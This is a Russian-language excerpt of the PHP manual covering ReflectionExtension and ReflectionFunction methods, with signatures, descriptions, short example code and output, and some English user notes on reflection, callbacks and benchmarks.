  • ReflectionExtension::getDependencies »
  • PHP Manual
  • ReflectionExtension
  • Получение констант

ReflectionExtension::getConstants

(PHP 5, PHP 7, PHP 8)

ReflectionExtension::getConstants — Получение констант

Описание

public ReflectionExtension::getConstants(): array

Получает определённые в модуле константы.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ассоциативный массив с именами констант в качестве ключей.

Примеры

Пример #1 Пример использования ReflectionExtension::getConstants()

<?php
$ext = new ReflectionExtension('DOM');

print_r($ext->getConstants());
?>

Вывод приведённого примера будет похож на:

Array
(
    [XML_ELEMENT_NODE] => 1
    [XML_ATTRIBUTE_NODE] => 2
    [XML_TEXT_NODE] => 3
    [XML_CDATA_SECTION_NODE] => 4
    [XML_ENTITY_REF_NODE] => 5
    [XML_ENTITY_NODE] => 6
    [XML_PI_NODE] => 7
    [XML_COMMENT_NODE] => 8
    [XML_DOCUMENT_NODE] => 9
    [XML_DOCUMENT_TYPE_NODE] => 10
    [XML_DOCUMENT_FRAG_NODE] => 11
    [XML_NOTATION_NODE] => 12
    [XML_HTML_DOCUMENT_NODE] => 13
    [XML_DTD_NODE] => 14
    [XML_ELEMENT_DECL_NODE] => 15
    [XML_ATTRIBUTE_DECL_NODE] => 16
    [XML_ENTITY_DECL_NODE] => 17
    [XML_NAMESPACE_DECL_NODE] => 18
    [XML_LOCAL_NAMESPACE] => 18
    [XML_ATTRIBUTE_CDATA] => 1
    [XML_ATTRIBUTE_ID] => 2
    [XML_ATTRIBUTE_IDREF] => 3
    [XML_ATTRIBUTE_IDREFS] => 4
    [XML_ATTRIBUTE_ENTITY] => 6
    [XML_ATTRIBUTE_NMTOKEN] => 7
    [XML_ATTRIBUTE_NMTOKENS] => 8
    [XML_ATTRIBUTE_ENUMERATION] => 9
    [XML_ATTRIBUTE_NOTATION] => 10
    [DOM_PHP_ERR] => 0
    [DOM_INDEX_SIZE_ERR] => 1
    [DOMSTRING_SIZE_ERR] => 2
    [DOM_HIERARCHY_REQUEST_ERR] => 3
    [DOM_WRONG_DOCUMENT_ERR] => 4
    [DOM_INVALID_CHARACTER_ERR] => 5
    [DOM_NO_DATA_ALLOWED_ERR] => 6
    [DOM_NO_MODIFICATION_ALLOWED_ERR] => 7
    [DOM_NOT_FOUND_ERR] => 8
    [DOM_NOT_SUPPORTED_ERR] => 9
    [DOM_INUSE_ATTRIBUTE_ERR] => 10
    [DOM_INVALID_STATE_ERR] => 11
    [DOM_SYNTAX_ERR] => 12
    [DOM_INVALID_MODIFICATION_ERR] => 13
    [DOM_NAMESPACE_ERR] => 14
    [DOM_INVALID_ACCESS_ERR] => 15
    [DOM_VALIDATION_ERR] => 16
)

Смотрите также

  • ReflectionExtension::getINIEntries() - Получение ini-настроек модуля

User Contributed Notes

There are no user contributed notes for this page.


Получение зависимостей

  • « ReflectionExtension::getConstants
  • ReflectionExtension::getFunctions »
  • PHP Manual
  • ReflectionExtension
  • Получение зависимостей

ReflectionExtension::getDependencies

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

ReflectionExtension::getDependencies — Получение зависимостей

Описание

public ReflectionExtension::getDependencies(): array

Получает список требуемых и конфликтующих зависимостей.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ассоциативный массив array, ключами которого являются зависимости, а значениями следующие строки: Required, Optional или Conflicts.

Примеры

Пример #1 Пример использования ReflectionExtension::getDependencies()

<?php
$dom = new ReflectionExtension('dom');

print_r($dom->getDependencies());
?>

Вывод приведённого примера будет похож на:

Array
(
    [libxml] => Required
    [domxml] => Conflicts
)

Смотрите также

  • ReflectionClass::getVersion()

User Contributed Notes

There are no user contributed notes for this page.


Получение функций модуля

  • « ReflectionExtension::getDependencies
  • ReflectionExtension::getINIEntries »
  • PHP Manual
  • ReflectionExtension
  • Получение функций модуля

ReflectionExtension::getFunctions

(PHP 5, PHP 7, PHP 8)

ReflectionExtension::getFunctions — Получение функций модуля

Описание

public ReflectionExtension::getFunctions(): array

Получает список определённых в модуле функций.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ассоциативный массив объектов ReflectionFunction, в котором ключами являются названия определённых в модуле функций. Если функций в модуле не определено, будет возвращён пустой массив.

Примеры

Пример #1 Пример использования ReflectionExtension::getFunctions()

<?php
$dom = new ReflectionExtension('SimpleXML');

print_r($dom->getFunctions());
?>

Вывод приведённого примера будет похож на:

Array
(
    [simplexml_load_file] => ReflectionFunction Object
        (
            [name] => simplexml_load_file
        )

    [simplexml_load_string] => ReflectionFunction Object
        (
            [name] => simplexml_load_string
        )

    [simplexml_import_dom] => ReflectionFunction Object
        (
            [name] => simplexml_import_dom
        )

)

Смотрите также

  • ReflectionExtension::getClasses() - Возвращает классы
  • get_extension_funcs() - Возвращает массив имён функций модуля

User Contributed Notes

There are no user contributed notes for this page.


Получение ini-настроек модуля

  • « ReflectionExtension::getFunctions
  • ReflectionExtension::getName »
  • PHP Manual
  • ReflectionExtension
  • Получение ini-настроек модуля

ReflectionExtension::getINIEntries

(PHP 5, PHP 7, PHP 8)

ReflectionExtension::getINIEntries — Получение ini-настроек модуля

Описание

public ReflectionExtension::getINIEntries(): array

Получает ini-настройки модуля.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ассоциативный массив array, в котором ключи - имена ini-настроек, а значения - соответствующие значения настроек.

Примеры

Пример #1 Пример использования ReflectionExtension::getINIEntries()

<?php
$ext = new ReflectionExtension('mysql');

print_r($ext->getINIEntries());
?>

Вывод приведённого примера будет похож на:

Array
(
    [mysql.allow_persistent] => 1
    [mysql.max_persistent] => -1
    [mysql.max_links] => -1
    [mysql.default_host] =>
    [mysql.default_user] =>
    [mysql.default_password] =>
    [mysql.default_port] =>
    [mysql.default_socket] =>
    [mysql.connect_timeout] => 60
    [mysql.trace_mode] =>
    [mysql.allow_local_infile] => 1
    [mysql.cache_size] => 2000
)

Смотрите также

  • ini_get_all() - Получает все настройки конфигурации
  • ReflectionExtension::getConstants() - Получение констант

User Contributed Notes

There are no user contributed notes for this page.


Получение имени модуля

  • « ReflectionExtension::getINIEntries
  • ReflectionExtension::getVersion »
  • PHP Manual
  • ReflectionExtension
  • Получение имени модуля

ReflectionExtension::getName

(PHP 5, PHP 7, PHP 8)

ReflectionExtension::getName — Получение имени модуля

Описание

public ReflectionExtension::getName(): string

Получает имя модуля.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Имя модуля.

Примеры

Пример #1 Пример использования ReflectionExtension::getName()

<?php
$ext = new ReflectionExtension('mysqli');
var_dump($ext->getName());
?>

Вывод приведённого примера будет похож на:

string(6) "mysqli"

Смотрите также

  • ReflectionExtension::getClassNames() - Получение имён классов

User Contributed Notes

There are no user contributed notes for this page.


Получение версии модуля

  • « ReflectionExtension::getName
  • ReflectionExtension::info »
  • PHP Manual
  • ReflectionExtension
  • Получение версии модуля

ReflectionExtension::getVersion

(PHP 5, PHP 7, PHP 8)

ReflectionExtension::getVersion — Получение версии модуля

Описание

public ReflectionExtension::getVersion(): ?string

Получает версию модуля.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Версия модуля, или null если у модуля нет версии.

Примеры

Пример #1 Пример использования ReflectionExtension::getVersion()

<?php
$ext = new ReflectionExtension('mysqli');
var_dump($ext->getVersion());
?>

Вывод приведённого примера будет похож на:

string(3) "0.1"

Смотрите также

  • ReflectionExtension::info() - Вывод информации о модуле

User Contributed Notes

There are no user contributed notes for this page.


Вывод информации о модуле

  • « ReflectionExtension::getVersion
  • ReflectionExtension::isPersistent »
  • PHP Manual
  • ReflectionExtension
  • Вывод информации о модуле

ReflectionExtension::info

(PHP 5 >= 5.2.4, PHP 7, PHP 8)

ReflectionExtension::info — Вывод информации о модуле

Описание

public ReflectionExtension::info(): void

Выводит фрагмент "phpinfo()" для указанного модуля.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Информация о модуле.

Примеры

Пример #1 Пример использования ReflectionExtension::info()

<?php
$ext = new ReflectionExtension('mysqli');
$ext->info();
?>

Вывод приведённого примера будет похож на:

mysqli

MysqlI Support => enabled
Client API library version => mysqlnd 5.0.5-dev - 081106 - $Revision$
Active Persistent Links => 0
Inactive Persistent Links => 0
Active Links => 0
Persistent cache => enabled
put_hits => 0
put_misses => 0
get_hits => 0
get_misses => 0
size => 2000
free_items => 2000
references => 2

Directive => Local Value => Master Value
mysqli.max_links => Unlimited => Unlimited
mysqli.max_persistent => Unlimited => Unlimited
mysqli.allow_persistent => On => On
mysqli.default_host => no value => no value
mysqli.default_user => no value => no value
mysqli.default_pw => no value => no value
mysqli.default_port => 3306 => 3306
mysqli.default_socket => no value => no value
mysqli.reconnect => Off => Off
mysqli.allow_local_infile => On => On
mysqli.cache_size => 2000 => 2000

Смотрите также

  • ReflectionExtension::getName() - Получение имени модуля
  • phpinfo() - Выводит информацию о текущей конфигурации PHP

User Contributed Notes

There are no user contributed notes for this page.


Определяет, является ли модуль постоянным

  • « ReflectionExtension::info
  • ReflectionExtension::isTemporary »
  • PHP Manual
  • ReflectionExtension
  • Определяет, является ли модуль постоянным

ReflectionExtension::isPersistent

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionExtension::isPersistent — Определяет, является ли модуль постоянным

Описание

public ReflectionExtension::isPersistent(): bool

Проверяет, является ли модуль постоянным

Модуль является постоянным, если он загружается с помощью php.ini. Модуль является временным, а не постоянным, если он загружается с помощью функции dl().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true для модулей, загружаемых через ini-настройку extension, false в противном случае.

Смотрите также

  • ReflectionExtension::isTemporary() - Определяет, является ли модуль временным

User Contributed Notes

There are no user contributed notes for this page.


Определяет, является ли модуль временным

  • « ReflectionExtension::isPersistent
  • ReflectionExtension::__toString »
  • PHP Manual
  • ReflectionExtension
  • Определяет, является ли модуль временным

ReflectionExtension::isTemporary

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionExtension::isTemporary — Определяет, является ли модуль временным

Описание

public ReflectionExtension::isTemporary(): bool

Проверяет, является ли модуль временным.

Модуль является временным, когда он загружается с помощью функции dl().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true для модулей, загруженных функцией dl(), false в противном случае.

Смотрите также

  • ReflectionExtension::isPersistent() - Определяет, является ли модуль постоянным

User Contributed Notes

There are no user contributed notes for this page.


Преобразование в строку

  • « ReflectionExtension::isTemporary
  • ReflectionFunction »
  • PHP Manual
  • ReflectionExtension
  • Преобразование в строку

ReflectionExtension::__toString

(PHP 5, PHP 7, PHP 8)

ReflectionExtension::__toString — Преобразование в строку

Описание

public ReflectionExtension::__toString(): string

Выполняет экспорт модуля и возвращает его в виде строки string. Это то же самое, что и вызов ReflectionExtension::export() с аргументом return, равным true.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает экспортированный модуль в виде строки, так же как ReflectionExtension::export().

Смотрите также

  • ReflectionExtension::__construct() - Создаёт объект класса ReflectionExtension
  • ReflectionExtension::export() - Экспортирует модуль
  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


Класс ReflectionFunction

(PHP 5, PHP 7, PHP 8)

Введение

Класс ReflectionFunction сообщает информацию о функциях.

Обзор классов

class ReflectionFunction extends ReflectionFunctionAbstract {
/* Константы */
public const int IS_DEPRECATED;
/* Наследуемые свойства */
public string $name;
/* Методы */
public __construct(Closure|string $function)
public static export(string $name, string $return = ?): string
public getClosure(): Closure
public invoke(mixed ...$args): mixed
public invokeArgs(array $args): mixed
public isAnonymous(): bool
public isDisabled(): bool
public __toString(): string
/* Наследуемые методы */
private ReflectionFunctionAbstract::__clone(): void
public ReflectionFunctionAbstract::getAttributes(?string $name = null, int $flags = 0): array
public ReflectionFunctionAbstract::getClosureScopeClass(): ?ReflectionClass
public ReflectionFunctionAbstract::getClosureThis(): ?object
public ReflectionFunctionAbstract::getClosureUsedVariables(): array
public ReflectionFunctionAbstract::getDocComment(): string|false
public ReflectionFunctionAbstract::getEndLine(): int|false
public ReflectionFunctionAbstract::getExtension(): ?ReflectionExtension
public ReflectionFunctionAbstract::getExtensionName(): string|false
public ReflectionFunctionAbstract::getFileName(): string|false
public ReflectionFunctionAbstract::getName(): string
public ReflectionFunctionAbstract::getNamespaceName(): string
public ReflectionFunctionAbstract::getNumberOfParameters(): int
public ReflectionFunctionAbstract::getNumberOfRequiredParameters(): int
public ReflectionFunctionAbstract::getParameters(): array
public ReflectionFunctionAbstract::getReturnType(): ?ReflectionType
public ReflectionFunctionAbstract::getShortName(): string
public ReflectionFunctionAbstract::getStartLine(): int|false
public ReflectionFunctionAbstract::getStaticVariables(): array
public ReflectionFunctionAbstract::getTentativeReturnType(): ?ReflectionType
public ReflectionFunctionAbstract::hasReturnType(): bool
public ReflectionFunctionAbstract::hasTentativeReturnType(): bool
public ReflectionFunctionAbstract::inNamespace(): bool
public ReflectionFunctionAbstract::isClosure(): bool
public ReflectionFunctionAbstract::isDeprecated(): bool
public ReflectionFunctionAbstract::isGenerator(): bool
public ReflectionFunctionAbstract::isInternal(): bool
public ReflectionFunctionAbstract::isStatic(): bool
public ReflectionFunctionAbstract::isUserDefined(): bool
public ReflectionFunctionAbstract::isVariadic(): bool
public ReflectionFunctionAbstract::returnsReference(): bool
abstract public ReflectionFunctionAbstract::__toString(): void
}

Предопределённые константы

Модификаторы ReflectionFunction

ReflectionFunction::IS_DEPRECATED

Указывает на то, что функция устарела (deprecated).

Список изменений

Версия | Описание
8.0.0 | Метод ReflectionFunction::export() был удалён.

Содержание

  • ReflectionFunction::__construct — Конструктор класса ReflectionFunction
  • ReflectionFunction::export — Экспортирует функции
  • ReflectionFunction::getClosure — Возвращает динамически созданное замыкание для функции
  • ReflectionFunction::invoke — Вызывает функцию
  • ReflectionFunction::invokeArgs — Вызов функции с передачей аргументов
  • ReflectionFunction::isAnonymous — Проверяет, является ли функция анонимной
  • ReflectionFunction::isDisabled — Проверяет, что функция отключена
  • ReflectionFunction::__toString — Возвращает строковое представление объекта ReflectionFunction

User Contributed Notes

a dot lucassilvadeoliveira at gmail dot com 28-Nov-2020 06:15
We can use this functionality to automatically pass arguments to our function based on some data structure.

NOTE: I am using a php 8.0> feature called "Nameds parameter"

<?php

$valuesToProcess = [
  'name' => 'Anderson Lucas Silva de Oliveira',
  'age' => 21,
  'hobbie' => 'Play games'
];

function processUserData($name, $age, $job = "", $hobbie = "")
{
    $msg = "Hello $name. You have $age years old";
    if (!empty($job)) {
    $msg .= ". Your job is $job";
    }

    if (!empty($hobbie)) {
        $msg .= ". Your hobbie is $hobbie";
    }

    echo $msg . ".";
}

$refFunction = new ReflectionFunction('processUserData');
$parameters = $refFunction->getParameters();

$validParameters = [];
foreach ($parameters as $parameter) {
    if (!array_key_exists($parameter->getName(), $valuesToProcess) && !$parameter->isOptional()) {
        throw new DomainException('Cannot resolve the parameter' . $parameter->getName());
    }

    if(!array_key_exists($parameter->getName(), $valuesToProcess)) {
        continue;
    }

    $validParameters[$parameter->getName()] = $valuesToProcess[$parameter->getName()];
}

$refFunction->invoke(...$validParameters);
?>

Results in:

Hello Anderson Lucas Silva de Oliveira. You have 21 years old. Your hobbie is Play games.
Lorenz R.S. 12-Aug-2011 01:24
Here is a concise example of ReflectionFunction usage for Parameter Reflection / introspection (e.g. to automatically generate API descriptions)

<?php
$properties = $reflector->getProperties();
$refFunc = new ReflectionFunction('preg_replace');
foreach( $refFunc->getParameters() as $param ){
    //invokes ¦ReflectionParameter::__toString
    print $param;
}
?>

prints:

Parameter #0 [ <required> $regex ]
Parameter #1 [ <required> $replace ]
Parameter #2 [ <required> $subject ]
Parameter #3 [ <optional> $limit ]
Parameter #4 [ <optional> &$count ]


Конструктор класса ReflectionFunction

  • « ReflectionFunction
  • ReflectionFunction::export »
  • PHP Manual
  • ReflectionFunction
  • Конструктор класса ReflectionFunction

ReflectionFunction::__construct

(PHP 5, PHP 7, PHP 8)

ReflectionFunction::__construct — Конструктор класса ReflectionFunction

Описание

public ReflectionFunction::__construct(Closure|string $function)

Создаёт объект класса ReflectionFunction.

Список параметров

function

Имя функции для отражения или замыкание.

Ошибки

Объект класса ReflectionException, если аргумент function не содержит допустимой функции.

Примеры

Пример #1 Пример использования ReflectionFunction::__construct()

<?php
/**
* Простой счётчик
*
* @return int
*/
function counter1()
{
static $c = 0;
return ++$c;
}

/**
* Другой счётчик
*
* @return int
*/
$counter2 = function()
{
static $d = 0;
return ++$d;

};

function dumpReflectionFunction($func)
{
// Вывод основной информации
printf(
"\n\n===> %s функция '%s'\n".
" объявлена в %s\n".
" строки с %d по %d\n",
$func->isInternal() ? 'internal' : 'user-defined',
$func->getName(),
$func->getFileName(),
$func->getStartLine(),
$func->getEndline()
);

// Печать документации
printf("---> Документация:\n %s\n", var_export($func->getDocComment(), 1));

// Вывод статических переменных
if ($statics = $func->getStaticVariables())
{
printf("---> Статические переменные: %s\n", var_export($statics, 1));
}
}

// Создание объекта класса ReflectionFunction
dumpReflectionFunction(new ReflectionFunction('counter1'));
dumpReflectionFunction(new ReflectionFunction($counter2));
?>

Вывод приведённого примера будет похож на:

===> user-defined функция 'counter1'
     объявлена в Z:\reflectcounter.php
     строки с 7 по 11
---> Документация:
 '/**
 * Простой счётчик
 *
 * @return    int
 */'
---> Статические переменные: array (
  'c' => 0,
)

===> user-defined функция '{closure}'
     объявлена в Z:\reflectcounter.php
     строки с 18 по 23
---> Документация:
 '/**
 * Другой счётчик
 *
 * @return    int
 */'
---> Статические переменные: array (
  'd' => 0,
)

Смотрите также

  • ReflectionMethod::__construct() - Конструктор класса ReflectionMethod
  • Конструкторы

User Contributed Notes

There are no user contributed notes for this page.


Экспортирует функции

  • « ReflectionFunction::__construct
  • ReflectionFunction::getClosure »
  • PHP Manual
  • ReflectionFunction
  • Экспортирует функции

ReflectionFunction::export

(PHP 5, PHP 7)

ReflectionFunction::export — Экспортирует функции

Внимание

Эта функция УСТАРЕЛА начиная с PHP 7.4.0 и была УДАЛЕНА в PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

public static ReflectionFunction::export(string $name, string $return = ?): string

Экспортирует отражённую (reflected) функцию.

Список параметров

name

Название или объект класса для экспорта.

return

Метод вернёт значение экспорта, а не выведет его, если установить для параметра значение true. При значении по умолчанию — false метод сделает наоборот.

Возвращаемые значения

Если параметр return установлен в true, тогда экспортируемый объект будет возвращён как string, иначе будет возвращён null.

Смотрите также

  • ReflectionFunction::invoke() - Вызывает функцию
  • ReflectionFunction::__toString() - Возвращает строковое представление объекта ReflectionFunction

User Contributed Notes

hytest at gmail dot com 22-Nov-2011 08:04
Example:

<?php
function title($title, $name)
{
    return sprintf("%s. %s\r\n", $title, $name);
}

echo ReflectionFunction::export('title',true);

?>

Output:

Function [ <user> function title ] {
  @@ /path/to/file.php 2 - 5

  - Parameters [2] {
    Parameter #0 [ <required> $title ]
    Parameter #1 [ <required> $name ]
  }
}


Возвращает динамически созданное замыкание для функции

  • « ReflectionFunction::export
  • ReflectionFunction::invoke »
  • PHP Manual
  • ReflectionFunction
  • Возвращает динамически созданное замыкание для функции

ReflectionFunction::getClosure

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionFunction::getClosure — Возвращает динамически созданное замыкание для функции

Описание

public ReflectionFunction::getClosure(): Closure

Получает динамически созданное замыкание для функции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает только что созданное замыкание (Closure).

Смотрите также

  • Callback-функции как объекты первого класса

User Contributed Notes

php dot net-bug at spamhereplease dot com 23-Nov-2013 05:34
If you have a callback that is going to be invoked often, you can use this method (and the related method for ReflectProperty) to get a closure that will execute at near native speed.

Some benchmark comparisons with php 5.4.22 on ubuntu:

[function call]      [time]     [%slower]
function():          0.09527      0%
Reflection::Closure: 0.09729      2%
$string():           0.102641     8%
Reflection:          0.197122   107%
call_user_func:      0.214045   125%

[method call]        [time]  [% slower] [%vs func]
->method():          0.103611    0%       9%
Reflection::Closure: 0.1043      1%       9%
$string():           0.109885    6%      15%
Reflection:          0.20451    97%     115%
call_user_func:      0.219205  112%     130%


Вызывает функцию

  • « ReflectionFunction::getClosure
  • ReflectionFunction::invokeArgs »
  • PHP Manual
  • ReflectionFunction
  • Вызывает функцию

ReflectionFunction::invoke

(PHP 5, PHP 7, PHP 8)

ReflectionFunction::invoke — Вызывает функцию

Описание

public ReflectionFunction::invoke(mixed ...$args): mixed

Вызывает отражённую (reflected) функцию.

Список параметров

args

Передаваемые функции аргументы. Может принимать переменное количество аргументов по аналогии с call_user_func().

Возвращаемые значения

Возвращает результат выполнения вызванной функции.

Примеры

Пример #1 Пример использования ReflectionFunction::invoke()

<?php
function title($title, $name)
{
return sprintf("%s. %s\r\n", $title, $name);
}

$function = new ReflectionFunction('title');

echo $function->invoke('Dr', 'Phil');
?>

Результат выполнения приведённого примера:

Dr. Phil

Примечания

Замечание:

ReflectionFunction::invoke() не может использоваться, если ожидаются ссылочные параметры. Вместо него следует использовать ReflectionFunction::invokeArgs() (передача ссылок в списке аргументов).

Смотрите также

  • ReflectionFunction::export() - Экспортирует функции
  • __invoke()
  • call_user_func() - Вызывает callback-функцию, заданную в первом параметре

User Contributed Notes

spark at limao dot com dot br 10-Jun-2011 10:55
I know Reflections classes have a lot of power, but sometimes all we need is to store a annonymus function or even create a simple callback somewhere.

so here it is, the Callback class:
<?php
    class Callback{
        private $name = false;

        public function Callback($obj,$call=false){
            $name = array($obj);
            if($call) $name[] = $call;

            $this->name = $name;
        }
        public function invoke($params=array()){
            return call_user_func_array($this->name,$params);
        }
    }
?>

Usage:
<?php
    function sayName(){
        return "goku";
    }

    $myVar = new Callback("sayName");

    echo "Hi, I am ".$myVar->invoke()."!";

    //also works with methods: new Callback($obj,"method");
?>


Вызов функции с передачей аргументов

  • « ReflectionFunction::invoke
  • ReflectionFunction::isAnonymous »
  • PHP Manual
  • ReflectionFunction
  • Вызов функции с передачей аргументов

ReflectionFunction::invokeArgs

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

ReflectionFunction::invokeArgs — Вызов функции с передачей аргументов

Описание

public ReflectionFunction::invokeArgs(array $args): mixed

Вызывает функцию и передаёт ей аргументы в виде массива.

Список параметров

args

Передаваемые функции аргументы в виде массива. Поведение функции аналогично call_user_func_array().

Возвращаемые значения

Возвращает результат выполнения вызванной функции.

Список изменений

Версия | Описание
8.0.0 | Ключи args теперь интерпретируются как имена параметров, а не игнорируются.

Примеры

Пример #1 Пример использования ReflectionFunction::invokeArgs()

<?php
function title($title, $name)
{
return sprintf("%s. %s\r\n", $title, $name);
}

$function = new ReflectionFunction('title');

echo $function->invokeArgs(array('Dr', 'Phil'));
?>

Результат выполнения приведённого примера:

Dr. Phil

Пример #2 Пример использования ReflectionFunction::invokeArgs() со ссылками на аргументы

<?php
function get_false_conditions(array $conditions, array &$false_conditions)
{
foreach ($conditions as $condition) {
if (!$condition) {
$false_conditions[] = $condition;
}
}
}

$function_ref = new ReflectionFunction('get_false_conditions');

$conditions = array(true, false, -1, 0, 1);
$false_conditions = array();

$function_ref->invokeArgs(array($conditions, &$false_conditions));

var_dump($false_conditions);
?>

Результат выполнения приведённого примера:

array(2) {
  [0]=>
  bool(false)
  [1]=>
  int(0)
}

Примечания

Замечание:

Аргументы в списке, который передают в метод, должны быть ссылками, если у функции есть параметры, которые принимают аргументы по ссыкле.

Смотрите также

  • ReflectionFunction::invoke() - Вызывает функцию
  • ReflectionFunctionAbstract::getNumberOfParameters() - Получает количество параметров
  • __invoke()
  • call_user_func_array() - Вызывает callback-функцию с массивом параметров

User Contributed Notes

theyourcomputer at gmail dot com 05-Dec-2017 01:40
In the case of call_user_func_array(), if you were to pass around an anonymous function and reference $this within the anonymous function, $this will faithfully refer to the class in the context in which the function was defined. Using ReflectionFunction::invokeArgs() does not seem to retain its original context--yeah, even if you bind the anonymous function before invoking. I recommend call_user_func_array() where context is a concern.
Andrea Giammarchi 16-Feb-2008 06:41
I encountered a weird problem with ReflectionFunction, described in ticket 44139 of PHP Bugs.

If for some reason you need to call with invoke, or invokeArgs, a function like array_unshift (that accepts internally the array by reference) you could use this code to avoid the generated warning or fatal error.

<?php
function unshift(){
    $ref        = new ReflectionFunction('array_unshift');
    $arguments    = func_get_args();
    return        $ref->invokeArgs(array_merge(array(&$this->arr), $arguments));
}
?>

I don't know about performances (you can create an array manually too, starting from array(&$this->something) and adding arguments). However, it seems to work correctly without problems, at least until the send by reference will be usable with one single value ...


Проверяет, является ли функция анонимной

  • « ReflectionFunction::invokeArgs
  • ReflectionFunction::isDisabled »
  • PHP Manual
  • ReflectionFunction
  • Проверяет, является ли функция анонимной

ReflectionFunction::isAnonymous

(PHP 8 >= 8.2.0)

ReflectionFunction::isAnonymous — Проверяет, является ли функция анонимной

Описание

public ReflectionFunction::isAnonymous(): bool

Проверяет, является ли функция анонимной.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если функция анонимна, иначе возвращает false.

Примеры

Пример #1 Пример использования ReflectionFunction::isAnonymous()

<?php

$rf = new ReflectionFunction(function() {});
var_dump($rf->isAnonymous());

$rf = new ReflectionFunction('strlen');
var_dump($rf->isAnonymous());
?>

Результат выполнения приведённого примера:

bool(true)
bool(false)

Смотрите также

  • Анонимные функции

User Contributed Notes

nicolasgrekas at php dot net 13-Dec-2022 10:00
Closures can be either anonymous or not.

Here is an anonymous closure:
$c1 = function () {};

And here is a *non* anonymous closure:
$c2 = Closure::fromCallable(['Foo', 'bar']);

ReflectionFunction::isAnonymous() returns true for $c1 and false for $c2.

Before PHP 8.2, one had to do this check to decide between both:
$r = new \ReflectionFunction($c1);
$isAnonymous = false !== strpos($r->name, '{closure}');

ReflectionFunction::isAnonymous() makes it easier to check.
Taufik Nurrohman 09-Dec-2022 11:22
You know that anonymous function is just an instance of class `Closure` so this would be equivalent to check whether a variable is an anonymous function or not:

<?php

$test = function () {};

if (is_callable($test) && is_object($test) && $test instanceof Closure) { /* ... */ }

?>


Проверяет, что функция отключена

  • « ReflectionFunction::isAnonymous
  • ReflectionFunction::__toString »
  • PHP Manual
  • ReflectionFunction
  • Проверяет, что функция отключена

ReflectionFunction::isDisabled

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunction::isDisabled — Проверяет, что функция отключена

Внимание

Эта функция была УДАЛЕНА в PHP 8.0.0. Использование этой функции не рекомендуется.

Описание

public ReflectionFunction::isDisabled(): bool

Проверяет, отключена ли функция, с помощью директивы disable_functions.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если функция отключена, false противном случае.

Смотрите также

  • ReflectionFunctionAbstract::isUserDefined() - Проверяет, является ли функция определённой пользователем
  • Директива disable_functions

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строковое представление объекта ReflectionFunction

  • « ReflectionFunction::isDisabled
  • ReflectionFunctionAbstract »
  • PHP Manual
  • ReflectionFunction
  • Возвращает строковое представление объекта ReflectionFunction

ReflectionFunction::__toString

(PHP 5, PHP 7, PHP 8)

ReflectionFunction::__toString — Возвращает строковое представление объекта ReflectionFunction

Описание

public ReflectionFunction::__toString(): string

Получает строковое представление функции, её параметров и возвращаемых значений.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает строку.

Примеры

Пример #1 Пример использования ReflectionFunction::__toString()

<?php
function title($title, $name)
{
return sprintf("%s. %s\r\n", $title, $name);
}

echo new ReflectionFunction('title');
?>

Вывод приведённого примера будет похож на:

Function [ <user> function title ] {
  @@ Command line code 1 - 1

  - Parameters [2] {
    Parameter #0 [ <required> $title ]
    Parameter #1 [ <required> $name ]
  }
}

Смотрите также

  • ReflectionFunction::export() - Экспортирует функции
  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


Класс ReflectionFunctionAbstract

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

Введение

Является родительским классом для ReflectionFunction, более подробную информацию смотрите в описании этого дочернего класса.

Обзор классов

abstract class ReflectionFunctionAbstract implements Reflector {
/* Свойства */
public string $name;
/* Методы */
private __clone(): void
public getAttributes(?string $name = null, int $flags = 0): array
public getClosureScopeClass(): ?ReflectionClass
public getClosureThis(): ?object
public getClosureUsedVariables(): array
public getDocComment(): string|false
public getEndLine(): int|false
public getExtension(): ?ReflectionExtension
public getExtensionName(): string|false
public getFileName(): string|false
public getName(): string
public getNamespaceName(): string
public getNumberOfParameters(): int
public getNumberOfRequiredParameters(): int
public getParameters(): array
public getReturnType(): ?ReflectionType
public getShortName(): string
public getStartLine(): int|false
public getStaticVariables(): array
public getTentativeReturnType(): ?ReflectionType
public hasReturnType(): bool
public hasTentativeReturnType(): bool
public inNamespace(): bool
public isClosure(): bool
public isDeprecated(): bool
public isGenerator(): bool
public isInternal(): bool
public isStatic(): bool
public isUserDefined(): bool
public isVariadic(): bool
public returnsReference(): bool
abstract public __toString(): void
}

Свойства

name

Имя функции. Доступно только для чтения и выбрасывает исключение ReflectionException при попытке записи.

Содержание

  • ReflectionFunctionAbstract::__clone — Клонирует функцию
  • ReflectionFunctionAbstract::getAttributes — Получает атрибуты
  • ReflectionFunctionAbstract::getClosureScopeClass — Возвращает класс в рамках которого было объявлено замыкание
  • ReflectionFunctionAbstract::getClosureThis — Возвращает указатель, привязанный к замыканию
  • ReflectionFunctionAbstract::getClosureUsedVariables — Возвращает массив используемых в замыкании переменных
  • ReflectionFunctionAbstract::getDocComment — Получает doc-комментарий
  • ReflectionFunctionAbstract::getEndLine — Получает номер строки завершения описания функции
  • ReflectionFunctionAbstract::getExtension — Получает информацию о модуле
  • ReflectionFunctionAbstract::getExtensionName — Получение имени модуля
  • ReflectionFunctionAbstract::getFileName — Получает имя файла
  • ReflectionFunctionAbstract::getName — Получает имя функции
  • ReflectionFunctionAbstract::getNamespaceName — Получение имени пространства имён
